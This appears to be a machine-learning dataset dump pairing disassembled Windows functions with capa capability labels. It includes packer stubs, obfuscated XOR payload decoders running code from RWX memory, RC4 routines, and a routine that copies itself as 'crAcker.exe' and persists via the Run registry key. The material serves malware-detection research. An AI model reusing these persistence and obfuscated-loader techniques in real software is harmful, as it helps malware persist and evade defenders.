joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41efc0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x418015
lea edi, [esi - 0x17015]
push edi
or ebp, 0xffffffff
jmp 0x41efe2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41efe9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41efd8
mov eax, 1
add ebx, ebx
jne 0x41effb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41eff0
jne 0x41f00c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41eff0
xor ecx, ecx
sub eax, 3
jb 0x41f020
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41f092
mov ebp, eax
add ebx, ebx
jne 0x41f02b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41f038
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41f05c
inc ecx
add ebx, ebx
jne 0x41f048
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41f03d
jne 0x41f059
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41f03d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41f07c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41f06d
jmp 0x41efde
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41f07c
add edi, ecx
jmp 0x41efde
pop esi
mov edi, esi
mov ecx, 0x52
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41f09a
cmp byte [edi], 2
jne 0x41f09a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41f09f
lea edi, [esi + 0x1c000]
mov eax, dword [edi]
or eax, eax
je 0x41f10e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1f000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1f050]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41f0cc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1f058]
or eax, eax
je 0x41f108
mov dword [ebx], eax
add ebx, 4
jmp 0x41f0e9
call dword [esi + 0x1f054]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x41f13f
cmp al, 0xef
ja 0x41f132
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x41f114
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x41f121
mov ebp, dword [esi + 0x1f05c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
lea ebx, [esi - 0x1000]
lea edi, [ebx + 0x1f19a]
push edi
xor eax, eax
stosb byte es:[edi], al
pop ecx
dec ecx
push eax
push 1
push ebx
call ecx
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x41f18b
sub esp, 0xffffff80
jmp 0x4013f0
Function at 0x50d040
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x3a7000
lea edi, [esi - 0xb6000]
push edi
jmp 0x50d05a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x50d061
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50d050
mov eax, 1
add ebx, ebx
jne 0x50d073
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x50d084
jne 0x50d0a3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50d0a3
dec eax
add ebx, ebx
jne 0x50d090
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x50d068
add ebx, ebx
jne 0x50d09f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x50d0f5
xor ecx, ecx
sub eax, 3
jb 0x50d0bb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x50d12a
sar eax, 1
mov ebp, eax
jmp 0x50d0c6
add ebx, ebx
jne 0x50d0c6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50d094
inc ecx
add ebx, ebx
jne 0x50d0d4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50d094
add ebx, ebx
jne 0x50d0e1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x50d0d6
jne 0x50d0f2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x50d0d6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x50d114
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x50d106
jmp 0x50d056
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x50d114
add edi, ecx
jmp 0x50d056
pop esi
mov edi, esi
mov ecx, 0x3ea9
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x50d132
cmp byte [edi], 0x11
jne 0x50d132
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x50d137
lea edi, [esi + 0x106000]
mov eax, dword [edi]
or eax, eax
je 0x50d1af
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x141850]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1419cc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x50d164
mov ecx, edi
jns 0x50d193
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1419d0]
or eax, eax
je 0x50d1a9
mov dword [ebx], eax
add ebx, 4
jmp 0x50d181
call dword [esi + 0x1419e0]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x50d1e0
cmp al, 0xef
ja 0x50d1d3
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x50d1b5
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x50d1c2
mov ebp, dword [esi + 0x1419d4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x50d214
sub esp, 0xffffff80
jmp 0x42800a
Function at 0x100192ba
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x100192c9
pop dword [ebp - 0x18]
mov eax, 0xe2b256d2
add eax, 0x2d4f3bf7
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xb8cfdd6a
sub dword [ebp - 0x28], 0x6a7d981f
mov dword [ebp - 0x24], 0xdb185bfa
sub dword [ebp - 0x24], 0xa8e50fb5
mov dword [ebp - 0x20], 0x6c90203d
sub dword [ebp - 0x20], 0x2043dc0f
mov dword [ebp - 0x1c], 0x13ae5e76
add dword [ebp - 0x1c], 0xec51a18a
lea eax, [ebp - 0x28]
push eax
mov eax, 0x15854a15
add eax, 0xfa7c55f3
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x3f0083da
sub dword [ebp - 0x28], 0xca8e1a84
mov dword [ebp - 0x24], 0x51e3826d
sub dword [ebp - 0x24], 0x107720f8
mov dword [ebp - 0x20], 0xd4bd207a
add dword [ebp - 0x20], 0x8eb24bf2
mov dword [ebp - 0x1c], 0x95c65100
add dword [ebp - 0x1c], 0x6a39af00
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0xca0c8fdc
sub eax, 0xba0aefd0
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x38b1f
push 0
call eax
mov ecx, 0xd66f6fcb
sub ecx, 0xd66f2e13
mov edi, eax
mov esi, 0xbb91b8df
sub esi, 0xab8f6edf
add esi, dword [ebp - 0x18]
mov ebx, 0x56c2fcd8
add ebx, 0xddd3c407
add dword [ebp - 0x14], 0x79e376e7
mov edx, dword [esi]
add dword [ebp - 0x10], 0xe43b7214
xor edx, ebx
mov dword [ebp - 8], 0xd60fde1c
mov dword [edi], edx
sub dword [ebp - 4], 0x2413d8db
add edi, 0xeaf91602
add edi, 0x1506ea02
add esi, 0x496f45e9
sub esi, 0x496f45e5
loop 0x100193eb
add eax, 0xf9b3
mov ebx, eax
add eax, 0xb5a2c2e6
sub eax, 0xb5a2c2e1
mov ecx, 0xc1ea8b41
add ecx, 0x4e1574bf
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x401290
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
call sym.
call sym._4
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._2
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
mov dword [esp], 0xea60
call sub.KERNEL32.dll_Sleep
sub esp, 4
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 1
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
add eax, edx
sub ecx, eax
mov eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [esp], eax
call sym._3
jmp 0x4012d7
Function at 0x4016c6
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4a8
mov dword [esp], 0x3a98
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov dword [ebp - 0x48c], 0
mov eax, dword [ebp - 0x48c]
cmp dword [eax*4 + section..data], 0
je 0x4016cf
mov eax, dword [ebp - 0x48c]
mov eax, dword [eax*4 + section..data]
mov dword [esp + 4], eax
lea eax, [ebp - 0x378]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov eax, dword [ebp - 0x48c]
mov eax, dword [eax*4 + section..data]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s.
lea eax, [ebp - 0x268]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x148]
mov dword [esp + 4], eax
lea eax, [ebp - 0x268]
mov dword [esp], eax
call sub.KERNEL32.dll_FindFirstFileA
sub esp, 8
mov dword [ebp - 0x14c], eax
lea eax, [ebp - 0x148]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14c]
mov dword [esp], eax
call sub.KERNEL32.dll_FindNextFileA
sub esp, 8
test eax, eax
je 0x4017fb
cmp dword [ebp - 0x148], 0x20
jne 0x40175f
mov eax, dword [ebp - 0x48c]
mov dword [esp + 4], 0x404000
mov eax, dword [eax*4 + section..data]
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x4017bb
lea eax, [ebp - 0x148]
add eax, 0x2c
mov dword [esp], eax
call fcn.00401524
jmp 0x40175f
lea eax, [ebp - 0x148]
add eax, 0x2c
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x378]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s
lea eax, [ebp - 0x488]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x488]
mov dword [esp], eax
call fcn.00401524
jmp 0x40175f
mov eax, dword [ebp - 0x14c]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
lea eax, [ebp - 0x48c]
inc dword [eax]
jmp 0x4016e8
Function at 0x401a7c
Capabilities:
Copy file
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
mov edx, eax
mov dword [esp + 8], 0x103
lea eax, [ebp - 0x128]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.KERNEL32.dll_GetModuleFileNameA
sub esp, 0xc
mov dword [esp + 4], 0x103
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sub.KERNEL32.dll_GetSystemDirectoryA
sub esp, 8
mov dword [esp + 4], str.crAcker.exe
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
lea eax, [ebp - 0x238]
lea edx, [ebp - 0x128]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x401ba3
mov dword [esp + 8], 0
lea eax, [ebp - 0x238]
mov dword [esp + 4], eax
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sub.KERNEL32.dll_CopyFileA
sub esp, 0xc
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x238]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.Win32.crAcker.A
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegSetValueExA
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov eax, 0
leave
ret

Function at 0x401bb0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov eax, 0x10
mov ebp, esp
push ebx
sub esp, 0x64
and esp, 0xfffffff0
call fcn.00402110
call fcn.00401db0
call sub.KERNEL32.dll_GetCommandLineA
mov ebx, eax
lea eax, [ebp - 0x58]
mov dword [esp], eax
call sub.KERNEL32.dll_GetStartupInfoA
sub esp, 4
test ebx, ebx
jne 0x401be8
jmp 0x401c86
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
or eax, edx
test al, 1
jne 0x401be7
cmp cl, 0x22
je 0x401c40
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
je 0x401c60
lea esi, [esi]
lea edi, [edi]
test cl, cl
je 0x401c60
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
jne 0x401c20
jmp 0x401c60
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x22
setne al
xor edx, edx
test cl, cl
setne dl
test eax, edx
jne 0x401c40
cmp cl, 0x22
je 0x401cc2
lea esi, [esi]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
jmp 0x401c80
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete dl
cmp cl, 9
sete al
or eax, edx
test al, 1
jne 0x401c70
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
test byte [ebp - 0x2c], 1
mov edx, 0xa
je 0x401ca4
movzx edx, word [ebp - 0x28]
mov dword [esp + 8], ebx
xor ebx, ebx
mov dword [esp + 4], ebx
mov dword [esp + 0xc], edx
mov dword [esp], eax
call sym._1
sub esp, 0x10
mov ebx, dword [ebp - 4]
leave
ret
inc ebx
movzx ecx, byte [ebx]
jmp 0x401c60
Function at 0x104a420
Capabilities:
Resolve function by parsing pe exports

Disassembly:
cld
push 0xffffffffffffffff
inc ecx
add esi, dword [edx + 0x20]
inc edi
pop ecx
inc ecx
lodsd eax, dword [esi]
jmp 0x104f007
stc
cld
mov ebp, ebp
sub dword [esp], eax
lea edi, [edi + 1]
cmp byte [edi], 1
pop eax
jmp 0x104eed6
imul eax, eax, 0xf
nop
push eax
movzx eax, byte [edi]
jmp 0x104a335
ret
dec edx
cld
test dl, dl
adc edx, 0x3d
not edx
push ebx
lea esi, [esi + ecx*2]
movzx eax, word [esi]
jmp 0x104eecb
mov edx, ebx
jmp 0x104ef34
inc edx
pop esi
xchg dl, dl
cld
add esi, dword [edi + eax*4]
ret 4
nop
mov esp, esp
ja 0x104a375
xor eax, 0xd9bd7fd0
mov ebx, ebx
sbb eax, dword [esp + 4]
cld
jne 0x104a25e
jmp 0x104f01b
mov esi, ebx
lea ecx, [edi - 0x30acae3b]
lea eax, [edx + 0x7d]
not ecx
mov eax, ebx
add ch, 0xed
add ch, 0x3e
add eax, dword [ebx + 0x3c]
add edx, dword [eax + 0x78]
jmp 0x104a255
lea edi, [eax + ebx]
cmp ecx, dword [edx + 0x18]
je 0x104a38b
push 0
pop eax
jmp 0x104a375
lea esi, [ebx]
lea edi, [ebx]
cld
nop
xchg al, al
add edi, dword [edx + 0x1c]
xor eax, 0x80617ea4
add esi, dword [edx + 0x24]
jmp 0x104a3ca
Function at 0x40225f
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push edi
mov byte [ebp - 0x104], 0
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 4], 0
mov eax, 0x4021cb
sub eax, 0x401cf5
mov dword [ebp - 4], eax
push 8
push 0x408008
lea ecx, [ebp - 0x104]
push ecx
jmp loc.0040a000

Function at 0x406464
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
jmp 0x40648a
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [ebp + 0x10]
jge 0x40654c
mov edx, dword [ebp - 0xc]
add edx, 1
and edx, 0x800000ff
jns 0x4064ac
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 0xc], edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0xc]
xor ecx, ecx
mov cl, byte [eax]
mov edx, dword [ebp - 0x10]
add edx, ecx
and edx, 0x800000ff
jns 0x4064ce
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 0x10], edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0xc]
mov cl, byte [eax]
mov byte [ebp - 4], cl
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x10]
mov cl, byte [eax]
mov byte [edx], cl
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x10]
mov al, byte [ebp - 4]
mov byte [edx], al
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x10]
xor ecx, ecx
mov cl, byte [eax]
add edx, ecx
and edx, 0x800000ff
jns 0x40651d
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
mov edx, dword [ebp + 8]
add edx, dword [ebp - 8]
mov al, byte [edx]
mov byte [ebp - 4], al
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0x14]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp - 4]
and eax, 0xff
xor edx, eax
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0x14]
mov byte [ecx], dl
jmp 0x406481
mov esp, ebp
pop ebp
ret
Function at 0x415d00
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x44b018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x415dba
cmp byte [esi + 0x3d], 0
je 0x415dba
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x415da8
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
mov edx, dword [ecx]
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x415d70
sub eax, 1
je 0x415d74
sub eax, 2
jne 0x415da8
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041878c
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x415d91
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.0041ec36
add esp, 0x10
cmp edi, eax
jne 0x415da8
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041878c
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041878c
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.0041878c
mov esp, ebp
pop ebp
ret

Function at 0x427751
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004275c7
Function at 0x412281
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x412290
pop dword [ebp - 0x30]
mov eax, 0x8a627c8d
sub eax, 0x8a2159fd
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x39d06
push 0
mov eax, 0xe454507a
add eax, 0x1bee3fb2
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0x3d5d8597
add ecx, 0xc2a2c57b
mov ebx, eax
mov esi, 0x436e00
add esi, dword [ebp - 0x30]
mov edi, 0x4962fec5
sub edi, 0x59d10782
add dword [ebp - 4], edi
mov edx, dword [esi]
mov dword [ebp - 0x10], 0xb3bb8887
sub edx, edi
xor dword [ebp - 0x18], 0xe2423c93
mov dword [ebx], edx
sub dword [ebp - 0xc], ecx
add ebx, 4
add esi, 0xa25ef98b
sub esi, 0xa25ef987
loop 0x4122e9
add eax, 0xa97aa46e
sub eax, 0xa9798553
mov ebx, eax
add eax, 0xa75625c8
sub eax, 0xa75625c3
mov ecx, 0xf4464a03
sub ecx, 0xf4064a03
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x427b60
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x21000]
push edi
or ebp, 0xffffffff
jmp 0x427b82
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x427b89
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x427b78
mov eax, 1
add ebx, ebx
jne 0x427b9b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x427b90
jne 0x427bac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x427b90
xor ecx, ecx
sub eax, 3
jb 0x427bc0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x427c32
mov ebp, eax
add ebx, ebx
jne 0x427bcb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x427bd8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x427bfc
inc ecx
add ebx, ebx
jne 0x427be8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x427bdd
jne 0x427bf9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x427bdd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x427c1c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x427c0d
jmp 0x427b7e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x427c1c
add edi, ecx
jmp 0x427b7e
pop esi
mov edi, esi
mov ecx, 0x43b
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x427c3a
cmp byte [edi], 0
jne 0x427c3a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x427c3f
lea edi, [esi + 0x25000]

Function at 0x401d9d
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push ecx
push edx
push esi
push edi
enter 4, 0
mov esi, eax
mov edi, dword [0x404050]
cdq
or di, 1
idiv edi
mov edx, dword [0x404050]
mov ebx, esi
add edx, eax
mov eax, 0x404054
call fcn.00401cc0
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
mov eax, esi
or al, 0x40
mov edi, 0x403135
push eax
sub edi, fcn.004028df
push edi
push fcn.004028df
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
cmp dword [ebp - 4], 0
je 0x401e13
mov eax, fcn.004028df
mov ebx, esi
mov edx, edi
call fcn.00401cc0
mov edx, 0x1c000
mov eax, 0x404054
mov ebx, esi
call fcn.00402423
leave
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
Function at 0x4090c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x4090cf
pop dword [ebp - 8]
mov eax, 0x7a2a928a
add eax, 0x8615fe45
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0xba7ac049
add dword [ebp - 0x18], 0x93d78502
mov dword [ebp - 0x14], 0xc315b022
add dword [ebp - 0x14], 0x6f1d9c23
mov dword [ebp - 0x10], 0x34876390
add dword [ebp - 0x10], 0x17c4e09e
mov dword [ebp - 0xc], 0x572f5859
sub dword [ebp - 0xc], 0x572f5859
lea eax, [ebp - 0x18]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0xfb5c2ff
sub dword [ebp - 0x18], 0x9b4359a9
mov dword [ebp - 0x14], 0xb88a122c
add dword [ebp - 0x14], 0x88e24f49
mov dword [ebp - 0x10], 0x58decda1
add dword [ebp - 0x10], 0xa909ecb
mov dword [ebp - 0xc], 0x4e29ae4b
add dword [ebp - 0xc], 0xb1d651b5
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x3bb23
push 0
call eax
mov ecx, 0xaf1b9bcb
sub ecx, 0xaf1b50a2
mov edi, eax
mov ebx, 0x41c000
add ebx, dword [ebp - 8]
mov edx, 0xb6b04455
sub edx, 0x776afcc
sub dword [ebp - 4], 0x40439201
mov esi, dword [ebx]
mov dword [ebp - 4], 0x95a67fc3
xor esi, edx
sub dword [ebp - 4], edx
mov dword [edi], esi
xor dword [ebp - 4], ecx
add edi, 4
add ebx, 4
loop 0x4091e1
add eax, 0xc92246b0
add eax, 0x36ded8c7
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 8]
call ebx
leave
ret

Function at 0x410b90
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 4
mov esi, ecx
call main
pop ecx
xor ecx, ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x410bac
mov dword [eax], ecx
jmp 0x410bae
mov eax, ecx
push ecx
push ecx
push esi
push 0x410c20
push ecx
push ecx
mov dword [esi + 0x10], eax
call dword [sym.imp.kernel32.dll_CreateThread]
mov ecx, dword [esi + 0x10]
pop esi
mov dword [ecx], eax
leave
ret